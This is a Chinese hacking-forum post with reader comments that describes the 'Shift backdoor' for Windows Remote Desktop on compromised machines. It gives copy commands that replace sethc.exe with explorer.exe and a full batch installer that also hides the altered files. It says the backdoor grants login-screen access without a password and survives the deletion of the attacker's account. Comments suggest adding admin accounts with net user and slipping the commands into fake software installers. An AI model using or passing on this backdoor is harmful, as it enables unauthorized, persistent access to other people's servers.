无需输入密码登陆3389远程终端

在肉鸡上执行命令

copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

        以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。

似乎2000也可以，XP不行。这两个系统没测试。

不知道有牛人知道是什么道理不.

小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe

Shift后门TT整理版
来源：TT's Blog

将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~

然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe

或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~

哇哈哈哈哈~~~
TITLE Shift后门
@echo off
cls
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
echo Shift后门 By:TT 整合 QQ:869293
echo.
echo 使用方法:本文件执行完毕后,
echo 在终端界面按Shift 5次即可登陆系统!
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
echo 完成百分之 50
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
echo 完成百分之 80
attrib c:\windows\system32\sethc.exe +h
echo 完成百分之 90
attrib c:\windows\system32\dllcache\sethc.exe +h
echo 完成百分之 100
cls
echo.
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo 后门安装完毕！
echo.
echo 感谢您使用Shift后门
echo.
echo By：TT QQ: 869293
echo.
echo http://www.hack518.net
echo.
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
echo. & pause
exit

本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接：http://www.hackbase.com/tech/2007-10-30/39691.html

评论

12 楼 аdministrator 2011-01-19  

好古老的技术啊。。。 哈哈  6年以前的东西了~~  还有Telnet后门 LZ知道不？

即使发也发个带密码的后门 ~~

11 楼 zzeric 2011-01-19  

这个太XE了，杀毒软件都不管，执行这两条命令的机会太多了，假装汉化个软件，在安装脚本里就可以做。

10 楼 xieruilin 2011-01-19  

shadowlin 写道

第一步怎么实现呢？

是啊，关键是第一步。后面的不重要。

9 楼 ainoke 2011-01-18  

肉鸡？俺以前到城里面卖红薯的时候吃过，10块钱一斤嘛！~老贵了！~

8 楼 乌鸦* 2011-01-18  

何为肉鸡

7 楼 ray_linn 2011-01-18  

ivan18248 写道

darrendu 写道

知道IP，怎么让他成肉鸡。

你这个问的真给力，
一般个人机器是没什么用途的，如果是服务器的话你要扫描整个机器的漏洞，针对漏洞来攻击这个，有好多个方法呢，但是还是很麻烦的事情

搞笑哈

6 楼 sinopf 2011-01-18  

darrendu 写道

知道IP，怎么让他成肉鸡。

你想干什么？

5 楼 ivan18248 2011-01-17  

darrendu 写道

知道IP，怎么让他成肉鸡。

你这个问的真给力，
一般个人机器是没什么用途的，如果是服务器的话你要扫描整个机器的漏洞，针对漏洞来攻击这个，有好多个方法呢，但是还是很麻烦的事情

4 楼 darrendu 2011-01-17  

知道IP，怎么让他成肉鸡。

3 楼 zgzdzh 2011-01-17  

你都能在肉鸡上执行 copy命令了，还需要这麻烦？
直接执行net user命令加管理员账号或者修改密码。。。。

2 楼 shadowlin 2011-01-16  

第一步怎么实现呢？

1 楼 jackytang520 2011-01-16  

我找到个工具,比这个方便很多,可以新建很多连接,